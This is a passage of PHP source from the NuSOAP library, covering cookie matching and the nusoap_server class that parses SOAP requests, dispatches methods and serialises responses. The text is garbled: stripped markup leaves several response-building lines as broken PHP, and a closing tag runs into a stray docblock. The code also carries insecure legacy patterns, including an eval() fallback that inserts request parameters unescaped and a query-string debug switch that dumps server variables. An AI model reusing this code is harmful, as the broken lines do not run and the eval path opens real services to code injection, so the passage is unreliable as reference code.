substr($path, 0, strpos($path, ';')); } else { $path = '/'; } $cookie_param = ';secure;'; if (strpos($cookie_str, $cookie_param) !== FALSE) { $secure = true; } else { $secure = false; } $sep_pos = strpos($value_str, '='); if ($sep_pos) { $name = substr($value_str, 0, $sep_pos); $value = substr($value_str, $sep_pos + 1); $cookie= array( 'name' => $name, 'value' => $value, 'domain' => $domain, 'path' => $path, 'expires' => $expires, 'secure' => $secure ); return $cookie; } return false; } /** * sort out cookies for the current request * * @param array $cookies array with all cookies * @param boolean $secure is the send-content secure or not? * @return string for Cookie-HTTP-Header * @access private */ function getCookiesForRequest($cookies, $secure=false) { $cookie_str = ''; if ((! is_null($cookies)) && (is_array($cookies))) { foreach ($cookies as $cookie) { if (! is_array($cookie)) { continue; } $this->debug("check cookie for validity: ".$cookie['name'].'='.$cookie['value']); if ((isset($cookie['expires'])) && (! empty($cookie['expires']))) { if (strtotime($cookie['expires']) <= time()) { $this->debug('cookie has expired'); continue; } } if ((isset($cookie['domain'])) && (! empty($cookie['domain']))) { $domain = preg_quote($cookie['domain']); if (! preg_match("'.*$domain$'i", $this->host)) { $this->debug('cookie has different domain'); continue; } } if ((isset($cookie['path'])) && (! empty($cookie['path']))) { $path = preg_quote($cookie['path']); if (! preg_match("'^$path.*'i", $this->path)) { $this->debug('cookie is for a different path'); continue; } } if ((! $secure) && (isset($cookie['secure'])) && ($cookie['secure'])) { $this->debug('cookie is secure, transport is not'); continue; } $cookie_str .= $cookie['name'] . '=' . $cookie['value'] . '; '; $this->debug('add cookie to Cookie-String: ' . $cookie['name'] . '=' . $cookie['value']); } } return $cookie_str; } } ?> * @author Scott Nichol * @version $Id: nusoap.php,v 1.123 2010/04/26 20:15:08 snichol Exp $ * @access public */ class nusoap_server extends nusoap_base { /** * HTTP headers of request * @var array * @access private */ var $headers = array(); /** * HTTP request * @var string * @access private */ var $request = ''; /** * SOAP headers from request (incomplete namespace resolution; special characters not escaped) (text) * @var string * @access public */ var $requestHeaders = ''; /** * SOAP Headers from request (parsed) * @var mixed * @access public */ var $requestHeader = NULL; /** * SOAP body request portion (incomplete namespace resolution; special characters not escaped) (text) * @var string * @access public */ var $document = ''; /** * SOAP payload for request (text) * @var string * @access public */ var $requestSOAP = ''; /** * requested method namespace URI * @var string * @access private */ var $methodURI = ''; /** * name of method requested * @var string * @access private */ var $methodname = ''; /** * method parameters from request * @var array * @access private */ var $methodparams = array(); /** * SOAP Action from request * @var string * @access private */ var $SOAPAction = ''; /** * character set encoding of incoming (request) messages * @var string * @access public */ var $xml_encoding = ''; /** * toggles whether the parser decodes element content w/ utf8_decode() * @var boolean * @access public */ var $decode_utf8 = true; /** * HTTP headers of response * @var array * @access public */ var $outgoing_headers = array(); /** * HTTP response * @var string * @access private */ var $response = ''; /** * SOAP headers for response (text or array of soapval or associative array) * @var mixed * @access public */ var $responseHeaders = ''; /** * SOAP payload for response (text) * @var string * @access private */ var $responseSOAP = ''; /** * method return value to place in response * @var mixed * @access private */ var $methodreturn = false; /** * whether $methodreturn is a string of literal XML * @var boolean * @access public */ var $methodreturnisliteralxml = false; /** * SOAP fault for response (or false) * @var mixed * @access private */ var $fault = false; /** * text indication of result (for debugging) * @var string * @access private */ var $result = 'successful'; /** * assoc array of operations => opData; operations are added by the register() * method or by parsing an external WSDL definition * @var array * @access private */ var $operations = array(); /** * wsdl instance (if one) * @var mixed * @access private */ var $wsdl = false; /** * URL for WSDL (if one) * @var mixed * @access private */ var $externalWSDLURL = false; /** * whether to append debug to response as XML comment * @var boolean * @access public */ var $debug_flag = false; /** * constructor * the optional parameter is a path to a WSDL file that you'd like to bind the server instance to. * * @param mixed $wsdl file path or URL (string), or wsdl instance (object) * @access public */ function nusoap_server($wsdl=false){ parent::nusoap_base(); // turn on debugging? global $debug; global $HTTP_SERVER_VARS; if (isset($_SERVER)) { $this->debug("_SERVER is defined:"); $this->appendDebug($this->varDump($_SERVER)); } elseif (isset($HTTP_SERVER_VARS)) { $this->debug("HTTP_SERVER_VARS is defined:"); $this->appendDebug($this->varDump($HTTP_SERVER_VARS)); } else { $this->debug("Neither _SERVER nor HTTP_SERVER_VARS is defined."); } if (isset($debug)) { $this->debug("In nusoap_server, set debug_flag=$debug based on global flag"); $this->debug_flag = $debug; } elseif (isset($_SERVER['QUERY_STRING'])) { $qs = explode('&', $_SERVER['QUERY_STRING']); foreach ($qs as $v) { if (substr($v, 0, 6) == 'debug=') { $this->debug("In nusoap_server, set debug_flag=" . substr($v, 6) . " based on query string #1"); $this->debug_flag = substr($v, 6); } } } elseif (isset($HTTP_SERVER_VARS['QUERY_STRING'])) { $qs = explode('&', $HTTP_SERVER_VARS['QUERY_STRING']); foreach ($qs as $v) { if (substr($v, 0, 6) == 'debug=') { $this->debug("In nusoap_server, set debug_flag=" . substr($v, 6) . " based on query string #2"); $this->debug_flag = substr($v, 6); } } } // wsdl if($wsdl){ $this->debug("In nusoap_server, WSDL is specified"); if (is_object($wsdl) && (get_class($wsdl) == 'wsdl')) { $this->wsdl = $wsdl; $this->externalWSDLURL = $this->wsdl->wsdl; $this->debug('Use existing wsdl instance from ' . $this->externalWSDLURL); } else { $this->debug('Create wsdl from ' . $wsdl); $this->wsdl = new wsdl($wsdl); $this->externalWSDLURL = $wsdl; } $this->appendDebug($this->wsdl->getDebug()); $this->wsdl->clearDebug(); if($err = $this->wsdl->getError()){ die('WSDL ERROR: '.$err); } } } /** * processes request and returns response * * @param string $data usually is the value of $HTTP_RAW_POST_DATA * @access public */ function service($data){ global $HTTP_SERVER_VARS; if (isset($_SERVER['REQUEST_METHOD'])) { $rm = $_SERVER['REQUEST_METHOD']; } elseif (isset($HTTP_SERVER_VARS['REQUEST_METHOD'])) { $rm = $HTTP_SERVER_VARS['REQUEST_METHOD']; } else { $rm = ''; } if (isset($_SERVER['QUERY_STRING'])) { $qs = $_SERVER['QUERY_STRING']; } elseif (isset($HTTP_SERVER_VARS['QUERY_STRING'])) { $qs = $HTTP_SERVER_VARS['QUERY_STRING']; } else { $qs = ''; } $this->debug("In service, request method=$rm query string=$qs strlen(\$data)=" . strlen($data)); if ($rm == 'POST') { $this->debug("In service, invoke the request"); $this->parse_request($data); if (! $this->fault) { $this->invoke_method(); } if (! $this->fault) { $this->serialize_return(); } $this->send_response(); } elseif (preg_match('/wsdl/', $qs) ){ $this->debug("In service, this is a request for WSDL"); if ($this->externalWSDLURL){ if (strpos($this->externalWSDLURL, "http://") !== false) { // assume URL $this->debug("In service, re-direct for WSDL"); header('Location: '.$this->externalWSDLURL); } else { // assume file $this->debug("In service, use file passthru for WSDL"); header("Content-Type: text/xml\r\n"); $pos = strpos($this->externalWSDLURL, "file://"); if ($pos === false) { $filename = $this->externalWSDLURL; } else { $filename = substr($this->externalWSDLURL, $pos + 7); } $fp = fopen($this->externalWSDLURL, 'r'); fpassthru($fp); } } elseif ($this->wsdl) { $this->debug("In service, serialize WSDL"); header("Content-Type: text/xml; charset=ISO-8859-1\r\n"); print $this->wsdl->serialize($this->debug_flag); if ($this->debug_flag) { $this->debug('wsdl:'); $this->appendDebug($this->varDump($this->wsdl)); print $this->getDebugAsXMLComment(); } } else { $this->debug("In service, there is no WSDL"); header("Content-Type: text/html; charset=ISO-8859-1\r\n"); print "This service does not provide WSDL"; } } elseif ($this->wsdl) { $this->debug("In service, return Web description"); print $this->wsdl->webDescription(); } else { $this->debug("In service, no Web description"); header("Content-Type: text/html; charset=ISO-8859-1\r\n"); print "This service does not provide a Web description"; } } /** * parses HTTP request headers. * * The following fields are set by this function (when successful) * * headers * request * xml_encoding * SOAPAction * * @access private */ function parse_http_headers() { global $HTTP_SERVER_VARS; $this->request = ''; $this->SOAPAction = ''; if(function_exists('getallheaders')){ $this->debug("In parse_http_headers, use getallheaders"); $headers = getallheaders(); foreach($headers as $k=>$v){ $k = strtolower($k); $this->headers[$k] = $v; $this->request .= "$k: $v\r\n"; $this->debug("$k: $v"); } // get SOAPAction header if(isset($this->headers['soapaction'])){ $this->SOAPAction = str_replace('"','',$this->headers['soapaction']); } // get the character encoding of the incoming request if(isset($this->headers['content-type']) && strpos($this->headers['content-type'],'=')){ $enc = str_replace('"','',substr(strstr($this->headers["content-type"],'='),1)); if(preg_match('/^(ISO-8859-1|US-ASCII|UTF-8)$/i',$enc)){ $this->xml_encoding = strtoupper($enc); } else { $this->xml_encoding = 'US-ASCII'; } } else { // should be US-ASCII for HTTP 1.0 or ISO-8859-1 for HTTP 1.1 $this->xml_encoding = 'ISO-8859-1'; } } elseif(isset($_SERVER) && is_array($_SERVER)){ $this->debug("In parse_http_headers, use _SERVER"); foreach ($_SERVER as $k => $v) { if (substr($k, 0, 5) == 'HTTP_') { $k = str_replace(' ', '-', strtolower(str_replace('_', ' ', substr($k, 5)))); } else { $k = str_replace(' ', '-', strtolower(str_replace('_', ' ', $k))); } if ($k == 'soapaction') { // get SOAPAction header $k = 'SOAPAction'; $v = str_replace('"', '', $v); $v = str_replace('\\', '', $v); $this->SOAPAction = $v; } else if ($k == 'content-type') { // get the character encoding of the incoming request if (strpos($v, '=')) { $enc = substr(strstr($v, '='), 1); $enc = str_replace('"', '', $enc); $enc = str_replace('\\', '', $enc); if (preg_match('/^(ISO-8859-1|US-ASCII|UTF-8)$/i',$enc)) { $this->xml_encoding = strtoupper($enc); } else { $this->xml_encoding = 'US-ASCII'; } } else { // should be US-ASCII for HTTP 1.0 or ISO-8859-1 for HTTP 1.1 $this->xml_encoding = 'ISO-8859-1'; } } $this->headers[$k] = $v; $this->request .= "$k: $v\r\n"; $this->debug("$k: $v"); } } elseif (is_array($HTTP_SERVER_VARS)) { $this->debug("In parse_http_headers, use HTTP_SERVER_VARS"); foreach ($HTTP_SERVER_VARS as $k => $v) { if (substr($k, 0, 5) == 'HTTP_') { $k = str_replace(' ', '-', strtolower(str_replace('_', ' ', substr($k, 5)))); $k = strtolower(substr($k, 5)); } else { $k = str_replace(' ', '-', strtolower(str_replace('_', ' ', $k))); $k = strtolower($k); } if ($k == 'soapaction') { // get SOAPAction header $k = 'SOAPAction'; $v = str_replace('"', '', $v); $v = str_replace('\\', '', $v); $this->SOAPAction = $v; } else if ($k == 'content-type') { // get the character encoding of the incoming request if (strpos($v, '=')) { $enc = substr(strstr($v, '='), 1); $enc = str_replace('"', '', $enc); $enc = str_replace('\\', '', $enc); if (preg_match('/^(ISO-8859-1|US-ASCII|UTF-8)$/i',$enc)) { $this->xml_encoding = strtoupper($enc); } else { $this->xml_encoding = 'US-ASCII'; } } else { // should be US-ASCII for HTTP 1.0 or ISO-8859-1 for HTTP 1.1 $this->xml_encoding = 'ISO-8859-1'; } } $this->headers[$k] = $v; $this->request .= "$k: $v\r\n"; $this->debug("$k: $v"); } } else { $this->debug("In parse_http_headers, HTTP headers not accessible"); $this->setError("HTTP headers not accessible"); } } /** * parses a request * * The following fields are set by this function (when successful) * * headers * request * xml_encoding * SOAPAction * request * requestSOAP * methodURI * methodname * methodparams * requestHeaders * document * * This sets the fault field on error * * @param string $data XML string * @access private */ function parse_request($data='') { $this->debug('entering parse_request()'); $this->parse_http_headers(); $this->debug('got character encoding: '.$this->xml_encoding); // uncompress if necessary if (isset($this->headers['content-encoding']) && $this->headers['content-encoding'] != '') { $this->debug('got content encoding: ' . $this->headers['content-encoding']); if ($this->headers['content-encoding'] == 'deflate' || $this->headers['content-encoding'] == 'gzip') { // if decoding works, use it. else assume data wasn't gzencoded if (function_exists('gzuncompress')) { if ($this->headers['content-encoding'] == 'deflate' && $degzdata = @gzuncompress($data)) { $data = $degzdata; } elseif ($this->headers['content-encoding'] == 'gzip' && $degzdata = gzinflate(substr($data, 10))) { $data = $degzdata; } else { $this->fault('SOAP-ENV:Client', 'Errors occurred when trying to decode the data'); return; } } else { $this->fault('SOAP-ENV:Client', 'This Server does not support compressed data'); return; } } } $this->request .= "\r\n".$data; $data = $this->parseRequest($this->headers, $data); $this->requestSOAP = $data; $this->debug('leaving parse_request'); } /** * invokes a PHP function for the requested SOAP method * * The following fields are set by this function (when successful) * * methodreturn * * Note that the PHP function that is called may also set the following * fields to affect the response sent to the client * * responseHeaders * outgoing_headers * * This sets the fault field on error * * @access private */ function invoke_method() { $this->debug('in invoke_method, methodname=' . $this->methodname . ' methodURI=' . $this->methodURI . ' SOAPAction=' . $this->SOAPAction); // // if you are debugging in this area of the code, your service uses a class to implement methods, // you use SOAP RPC, and the client is .NET, please be aware of the following... // when the .NET wsdl.exe utility generates a proxy, it will remove the '.' or '..' from the // method name. that is fine for naming the .NET methods. it is not fine for properly constructing // the XML request and reading the XML response. you need to add the RequestElementName and // ResponseElementName to the System.Web.Services.Protocols.SoapRpcMethodAttribute that wsdl.exe // generates for the method. these parameters are used to specify the correct XML element names // for .NET to use, i.e. the names with the '.' in them. // $orig_methodname = $this->methodname; if ($this->wsdl) { if ($this->opData = $this->wsdl->getOperationData($this->methodname)) { $this->debug('in invoke_method, found WSDL operation=' . $this->methodname); $this->appendDebug('opData=' . $this->varDump($this->opData)); } elseif ($this->opData = $this->wsdl->getOperationDataForSoapAction($this->SOAPAction)) { // Note: hopefully this case will only be used for doc/lit, since rpc services should have wrapper element $this->debug('in invoke_method, found WSDL soapAction=' . $this->SOAPAction . ' for operation=' . $this->opData['name']); $this->appendDebug('opData=' . $this->varDump($this->opData)); $this->methodname = $this->opData['name']; } else { $this->debug('in invoke_method, no WSDL for operation=' . $this->methodname); $this->fault('SOAP-ENV:Client', "Operation '" . $this->methodname . "' is not defined in the WSDL for this service"); return; } } else { $this->debug('in invoke_method, no WSDL to validate method'); } // if a . is present in $this->methodname, we see if there is a class in scope, // which could be referred to. We will also distinguish between two deliminators, // to allow methods to be called a the class or an instance if (strpos($this->methodname, '..') > 0) { $delim = '..'; } else if (strpos($this->methodname, '.') > 0) { $delim = '.'; } else { $delim = ''; } $this->debug("in invoke_method, delim=$delim"); $class = ''; $method = ''; if (strlen($delim) > 0 && substr_count($this->methodname, $delim) == 1) { $try_class = substr($this->methodname, 0, strpos($this->methodname, $delim)); if (class_exists($try_class)) { // get the class and method name $class = $try_class; $method = substr($this->methodname, strpos($this->methodname, $delim) + strlen($delim)); $this->debug("in invoke_method, class=$class method=$method delim=$delim"); } else { $this->debug("in invoke_method, class=$try_class not found"); } } else { $try_class = ''; $this->debug("in invoke_method, no class to try"); } // does method exist? if ($class == '') { if (!function_exists($this->methodname)) { $this->debug("in invoke_method, function '$this->methodname' not found!"); $this->result = 'fault: method not found'; $this->fault('SOAP-ENV:Client',"method '$this->methodname'('$orig_methodname') not defined in service('$try_class' '$delim')"); return; } } else { $method_to_compare = (substr(phpversion(), 0, 2) == '4.') ? strtolower($method) : $method; if (!in_array($method_to_compare, get_class_methods($class))) { $this->debug("in invoke_method, method '$this->methodname' not found in class '$class'!"); $this->result = 'fault: method not found'; $this->fault('SOAP-ENV:Client',"method '$this->methodname'/'$method_to_compare'('$orig_methodname') not defined in service/'$class'('$try_class' '$delim')"); return; } } // evaluate message, getting back parameters // verify that request parameters match the method's signature if(! $this->verify_method($this->methodname,$this->methodparams)){ // debug $this->debug('ERROR: request not verified against method signature'); $this->result = 'fault: request failed validation against method signature'; // return fault $this->fault('SOAP-ENV:Client',"Operation '$this->methodname' not defined in service."); return; } // if there are parameters to pass $this->debug('in invoke_method, params:'); $this->appendDebug($this->varDump($this->methodparams)); $this->debug("in invoke_method, calling '$this->methodname'"); if (!function_exists('call_user_func_array')) { if ($class == '') { $this->debug('in invoke_method, calling function using eval()'); $funcCall = "\$this->methodreturn = $this->methodname("; } else { if ($delim == '..') { $this->debug('in invoke_method, calling class method using eval()'); $funcCall = "\$this->methodreturn = ".$class."::".$method."("; } else { $this->debug('in invoke_method, calling instance method using eval()'); // generate unique instance name $instname = "\$inst_".time(); $funcCall = $instname." = new ".$class."(); "; $funcCall .= "\$this->methodreturn = ".$instname."->".$method."("; } } if ($this->methodparams) { foreach ($this->methodparams as $param) { if (is_array($param) || is_object($param)) { $this->fault('SOAP-ENV:Client', 'NuSOAP does not handle complexType parameters correctly when using eval; call_user_func_array must be available'); return; } $funcCall .= "\"$param\","; } $funcCall = substr($funcCall, 0, -1); } $funcCall .= ');'; $this->debug('in invoke_method, function call: '.$funcCall); @eval($funcCall); } else { if ($class == '') { $this->debug('in invoke_method, calling function using call_user_func_array()'); $call_arg = "$this->methodname"; // straight assignment changes $this->methodname to lower case after call_user_func_array() } elseif ($delim == '..') { $this->debug('in invoke_method, calling class method using call_user_func_array()'); $call_arg = array ($class, $method); } else { $this->debug('in invoke_method, calling instance method using call_user_func_array()'); $instance = new $class (); $call_arg = array(&$instance, $method); } if (is_array($this->methodparams)) { $this->methodreturn = call_user_func_array($call_arg, array_values($this->methodparams)); } else { $this->methodreturn = call_user_func_array($call_arg, array()); } } $this->debug('in invoke_method, methodreturn:'); $this->appendDebug($this->varDump($this->methodreturn)); $this->debug("in invoke_method, called method $this->methodname, received data of type ".gettype($this->methodreturn)); } /** * serializes the return value from a PHP function into a full SOAP Envelope * * The following fields are set by this function (when successful) * * responseSOAP * * This sets the fault field on error * * @access private */ function serialize_return() { $this->debug('Entering serialize_return methodname: ' . $this->methodname . ' methodURI: ' . $this->methodURI); // if fault if (isset($this->methodreturn) && is_object($this->methodreturn) && ((get_class($this->methodreturn) == 'soap_fault') || (get_class($this->methodreturn) == 'nusoap_fault'))) { $this->debug('got a fault object from method'); $this->fault = $this->methodreturn; return; } elseif ($this->methodreturnisliteralxml) { $return_val = $this->methodreturn; // returned value(s) } else { $this->debug('got a(n) '.gettype($this->methodreturn).' from method'); $this->debug('serializing return value'); if($this->wsdl){ if (sizeof($this->opData['output']['parts']) > 1) { $this->debug('more than one output part, so use the method return unchanged'); $opParams = $this->methodreturn; } elseif (sizeof($this->opData['output']['parts']) == 1) { $this->debug('exactly one output part, so wrap the method return in a simple array'); // TODO: verify that it is not already wrapped! //foreach ($this->opData['output']['parts'] as $name => $type) { // $this->debug('wrap in element named ' . $name); //} $opParams = array($this->methodreturn); } $return_val = $this->wsdl->serializeRPCParameters($this->methodname,'output',$opParams); $this->appendDebug($this->wsdl->getDebug()); $this->wsdl->clearDebug(); if($errstr = $this->wsdl->getError()){ $this->debug('got wsdl error: '.$errstr); $this->fault('SOAP-ENV:Server', 'unable to serialize result'); return; } } else { if (isset($this->methodreturn)) { $return_val = $this->serialize_val($this->methodreturn, 'return'); } else { $return_val = ''; $this->debug('in absence of WSDL, assume void return for backward compatibility'); } } } $this->debug('return value:'); $this->appendDebug($this->varDump($return_val)); $this->debug('serializing response'); if ($this->wsdl) { $this->debug('have WSDL for serialization: style is ' . $this->opData['style']); if ($this->opData['style'] == 'rpc') { $this->debug('style is rpc for serialization: use is ' . $this->opData['output']['use']); if ($this->opData['output']['use'] == 'literal') { // http://www.ws-i.org/Profiles/BasicProfile-1.1-2004-08-24.html R2735 says rpc/literal accessor elements should not be in a namespace if ($this->methodURI) { $payload = 'methodname.'Response xmlns:ns1="'.$this->methodURI.'">'.$return_val.'methodname."Response>"; } else { $payload = '<'.$this->methodname.'Response>'.$return_val.'methodname.'Response>'; } } else { if ($this->methodURI) { $payload = 'methodname.'Response xmlns:ns1="'.$this->methodURI.'">'.$return_val.'methodname."Response>"; } else { $payload = '<'.$this->methodname.'Response>'.$return_val.'methodname.'Response>'; } } } else { $this->debug('style is not rpc for serialization: assume document'); $payload = $return_val; } } else { $this->debug('do not have WSDL for serialization: assume rpc/encoded'); $payload = 'methodname.'Response xmlns:ns1="'.$this->methodURI.'">'.$return_val.'methodname."Response>"; } $this->result = 'successful'; if($this->wsdl){ //if($this->debug_flag){ $this->appendDebug($this->wsdl->getDebug()); // } if (isset($this->opData['output']['encodingStyle'])) { $encodingStyle = $this->opData['output']['encodingStyle']; } else { $encodingStyle = ''; } // Added: In case we use a WSDL, return a serialized env. WITH the usedNamespaces. $this->responseSOAP = $this->serializeEnvelope($payload,$this->responseHeaders,$this->wsdl->usedNamespaces,$this->opData['style'],$this->opData['output']['use'],$encodingStyle); } else { $this->responseSOAP = $this->serializeEnvelope($payload,$this->responseHeaders); } $this->debug("Leaving serialize_return"); } /** * sends an HTTP response * * The following fields are set by this function (when successful) * * outgoing_headers * response * * @access private */ function send_response() { $this->debug('Enter send_response'); if ($this->fault) { $payload = $this->fault->serialize(); $this->outgoing_headers[] = "HTTP/1.0 500 Internal Server Error"; $this->outgoing_headers[] = "Status: 500 Internal Server Error"; } else { $payload = $this->responseSOAP; // Some combinations of PHP+Web server allow the Status // to come through as a header. Since OK is the default // just do nothing. // $this->outgoing_headers[] = "HTTP/1.0 200 OK"; // $this->outgoing_headers[] = "Status: 200 OK"; } // add debug data if in debug mode if(isset($this->debug_flag) && $this->debug_flag){ $payload .= $this->getDebugAsXMLComment(); } $this->outgoing_headers[] = "Server: $this->title Server v$this->version"; preg_match('/\$Revisio' . 'n: ([^ ]+)/', $this->revision, $rev); $this->outgoing_headers[] = "X-SOAP-Server: $this->title/$this->version (".$rev[1].")"; // Let the Web server decide about this //$this->outgoing_headers[] = "Connection: Close\r\n"; $payload = $this->getHTTPBody($payload); $type = $this->getHTTPContentType(); $charset = $this->getHTTPContentTypeCharset(); $this->outgoing_headers[] = "Content-Type: $type" . ($charset ? '; charset=' . $charset : ''); //begin code to compress payload - by John // NOTE: there is no way to know whether the Web server will also compress // this data. if (strlen($payload) > 1024 && isset($this->headers) && isset($this->headers['accept-encoding'])) { if (strstr($this->headers['accept-encoding'], 'gzip')) { if (function_exists('gzencode')) { if (isset($this->debug_flag) && $this->debug_flag) { $payload .= ""; } $this->outgoing_headers[] = "Content-Encoding: gzip"; $payload = gzencode($payload); } else { if (isset($this->debug_flag) && $this->debug_flag) { $payload .= ""; } } } elseif (strstr($this->headers['accept-encoding'], 'deflate')) { // Note: MSIE requires gzdeflate output (no Zlib header and checksum), // instead of gzcompress output, // which conflicts with HTTP 1.1 spec (http://www.w3.org/Protocols/rfc2616/rfc2616-sec3.html#sec3.5) if (function_exists('gzdeflate')) { if (isset($this->debug_flag) && $this->debug_flag) { $payload .= ""; } $this->outgoing_headers[] = "Content-Encoding: deflate"; $payload = gzdeflate($payload); } else { if (isset($this->debug_flag) && $this->debug_flag) { $payload .= ""; } } } } //end code $this->outgoing_headers[] = "Content-Length: ".strlen($payload); reset($this->outgoing_headers); foreach($this->outgoing_headers as $hdr){ header($hdr, false); } print $payload; $this->response = join("\r\n",$this->outgoing_headers)."\r\n\r\n".$payload; } /** * takes the value that was created by parsing the request * and compares to the method's signature, if available. * * @param string $operation The operation to be invoked * @param array $request The array of parameter values * @return boolean Whether the operation was found * @access private */ function verify_method($operation,$request){ if(isset($this->wsdl) && is_object($this->wsdl)){ if($this->wsdl->getOperationData($operation)){ return true; } } elseif(isset($this->operations[$operation])){ return true; } return false; } /** * processes SOAP message received from client * * @param array $headers The HTTP headers * @param string $data unprocessed request data from client * @return mixed value of the message, decoded into a PHP type * @access private */ function parseRequest($headers, $data) { $this->debug('Entering parseRequest() for data of length ' . strlen($data) . ' headers:'); $this->appendDebug($this->varDump($headers)); if (!isset($headers['content-type'])) { $this->setError('Request not of type text/xml (no content-type header)'); return false; } if (!strstr($headers['content-type'], 'text/xml')) { $this->setError('Request not of type text/xml'); return false; } if (strpos($headers['content-type'], '=')) { $enc = str_replace('"', '', substr(strstr($headers["content-type"], '='), 1)); $this->debug('Got response encoding: ' . $enc); if(preg_match('/^(ISO-8859-1|US-ASCII|UTF-8)$/i',$enc)){ $this->xml_encoding = strtoupper($enc); } else { $this->xml_encoding = 'US-ASCII'; } } else { // should be US-ASCII for HTTP 1.0 or ISO-8859-1 for HTTP 1.1 $this->xml_encoding = 'ISO-8859-1'; } $this->debug('Use encoding: ' . $this->xml_encoding . ' when creating nusoap_parser'); // parse response, get soap parser obj $parser = new nusoap_parser($data,$this->xml_encoding,'',$this->decode_utf8); // parser debug $this->debug("parser debug: \n".$parser->getDebug()); // if fault occurred during message parsing if($err = $parser->getError()){ $this->result = 'fault: error in msg parsing: '.$err; $this->fault('SOAP-ENV:Client',"error in msg parsing:\n".$err); // else successfully parsed request into soapval object } else { // get/set methodname $this->methodURI = $parser->root_struct_namespace; $this->methodname = $parser->root_struct_name; $this->debug('methodname: '.$this->methodname.' methodURI: '.$this->methodURI); $this->debug('calling parser->get_soapbody()'); $this->methodparams = $parser->get_soapbody(); // get SOAP headers $this->requestHeaders = $parser->getHeaders(); // get SOAP Header $this->requestHeader = $parser->get_soapheader(); // add document for doclit support $this->document = $parser->document; } } /** * gets the HTTP body for the current response. * * @param string $soapmsg The SOAP payload * @return string The HTTP body, which includes the SOAP payload * @access private */ function getHTTPBody($soapmsg) { return $soapmsg; } /** * gets the HTTP content type for the current response. * * Note: getHTTPBody must be called before this. * * @return string the HTTP content type for the current response. * @access private */ function getHTTPContentType() { return 'text/xml'; } /** * gets the HTTP content type charset for the current response. * returns false for non-text content types. * * Note: getHTTPBody must be called before this. * * @return string the HTTP content type charset for the current response. * @access private */ function getHTTPContentTypeCharset() { return $this->soap_defencoding; } /** * add a method to the dispatch map (this has been replaced by the register method) * * @param string $methodname * @param string $in array of input values * @param string $out array of output values * @access public * @deprecated */ function add_to_map($methodname,$in,$out){ $this->operations[$methodname] = array('name' => $methodname,'in' => $in,'out' => $out); } /** * register a service function with the server * * @param string $name the name of the PHP function, class.method or class..method * @param array $in assoc array of input values: key = param name, value = param type * @param array $out assoc array of output values: key = param name, value = param type * @param mixed $namespace the element namespace for the method or false * @param mixed $soapaction the soapaction for the method or false * @param mixed $style optional (rpc|document) or false Note: when 'document' is specified, parameter and return wrappers are created for you automatically * @param mixed $use optional (encoded|literal) or false * @param string $documentation optional Description to include in WSDL * @param string $encodingStyle optional (usually 'http://schemas.xmlsoap.org/soap/encoding/' for encoded) * @access public */ function register($name,$in=array(),$out=array(),$namespace=false,$soapaction=false,$style=false,$use=false,$documentation='',$encodingStyle=''){ global $HTTP_SERVER_VARS; if($this->externalWSDLURL){ die('You cannot bind to an external WSDL file, and register methods outside of it! Please choose either WSDL or no WSDL.'); } if (! $name) { die('You must specify a name when you register an operation'); } if (!is_array($in)) { die('You must provide an array for operation inputs'); } if (!is_array($out)) { die('You must provide an array for operation outputs'); } if(false == $namespace) { } if(false == $soapaction) { if (isset($_SERVER)) { $SERVER_NAME = $_SERVER['SERVER_NAME']; $SCRIPT_NAME = isset($_SERVER['PHP_SELF']) ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME']; $HTTPS = isset($_SERVER['HTTPS']) ? $_SERVER['HTTPS'] : (isset($HTTP_SERVER_VARS['HTTPS']) ? $HTTP_SERVER_VARS['HTTPS'] : 'off'); } elseif (isset($HTTP_SERVER_VARS)) { $SERVER_NAME = $HTTP_SERVER_VARS['SERVER_NAME']; $SCRIPT_NAME = isset($HTTP_SERVER_VARS['PHP_SELF']) ? $HTTP_SERVER_VARS['PHP_SELF'] : $HTTP_SERVER_VARS['SCRIPT_NAME']; $HTTPS = isset($HTTP_SERVER_VARS['HTTPS']) ? $HTTP_SERVER_VARS['HTTPS'] : 'off'; } else { $this->setError("Neither _SERVER nor HTTP_SERVER_VARS is available"); } if ($HTTPS == '1' || $HTTPS == 'on') { $SCHEME = 'https'; } else { $SCHEME = 'http'; } $soapaction = "$SCHEME://$SERVER_NAME$SCRIPT_NAME/$name"; } if(false == $style) { $style = "rpc"; } if(false == $use) { $use = "encoded"; } if ($use == 'encoded' && $encodingStyle == '') { $encodingStyle = 'http://schemas.xmlsoap.org/soap/encoding/'; } $this->operations[$name] = array( 'name' => $name, 'in' => $in, 'out' => $out, 'namespace' => $namespace, 'soapaction' => $soapaction, 'style' => $style); if($this->wsdl){ $this->wsdl->addOperation($name,$in,$out,$namespace,$soapaction,$style,$use,$documentation,$encodingStyle); } return true; } /** * Specify a fault to be returned to the client. * This also acts as a flag to the server that a fault has occured. * * @param string $faultcode * @param string $faultstring * @param string $faultactor * @param string $faultdetail * @access public */ function fault($faultcode,$faultstring,$faultactor='',$faultdetail=''){ if ($faultdetail == '' && $this->debug_flag) { $faultdetail = $this->getDebug(); } $this->fault = new nusoap_fault($faultcode,$faultactor,$faultstring,$faultdetail); $this->fault->soap_defencoding = $this->soap_defencoding; } /** * Sets up wsdl object. * Acts as a flag to enable internal WSDL generation * * @param string $serviceName, name of the service * @param mixed $namespace optional 'tns' service namespace or false * @param mixed $endpoint optional URL of service endpoint or false * @param string $style optional (rpc|document) WSDL style (also specified by operation) * @param string $transport optional SOAP transport * @param mixed $schemaTargetNamespace optional 'types' targetNamespace for service schema or false */ function configureWSDL($serviceName,$namespace = false,$endpoint = false,$style='rpc', $transport = 'http://schemas.xmlsoap.org/soap/http', $schemaTargetNamespace = false) { global $HTTP_SERVER_VARS; if (isset($_SERVER)) { $SERVER_NAME = $_SERVER['SERVER_NAME']; $SERVER_PORT = $_SERVER['SERVER_PORT']; $SCRIPT_NAME = isset($_SERVER['PHP_SELF']) ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME']; $HTTPS = isset($_SERVER['HTTPS']) ? $_SERVER['HTTPS'] : (isset($HTTP_SERVER_VARS['HTTPS']) ? $HTTP_SERVER_VARS['HTTPS'] : 'off'); } elseif (isset($HTTP_SERVER_VARS)) { $SERVER_NAME = $HTTP_SERVER_VARS['SERVER_NAME']; $SERVER_PORT = $HTTP_SERVER_VARS['SERVER_PORT']; $SCRIPT_NAME = isset($HTTP_SERVER_VARS['PHP_SELF']) ? $HTTP_SERVER_VARS['PHP_SELF'] : $HTTP_SERVER_VARS['SCRIPT_NAME']; $HTTPS = isset($HTTP_SERVER_VARS['HTTPS']) ? $HTTP_SERVER_VARS['HTTPS'] : 'off'; } else { $this->setError("Neither _SERVER nor 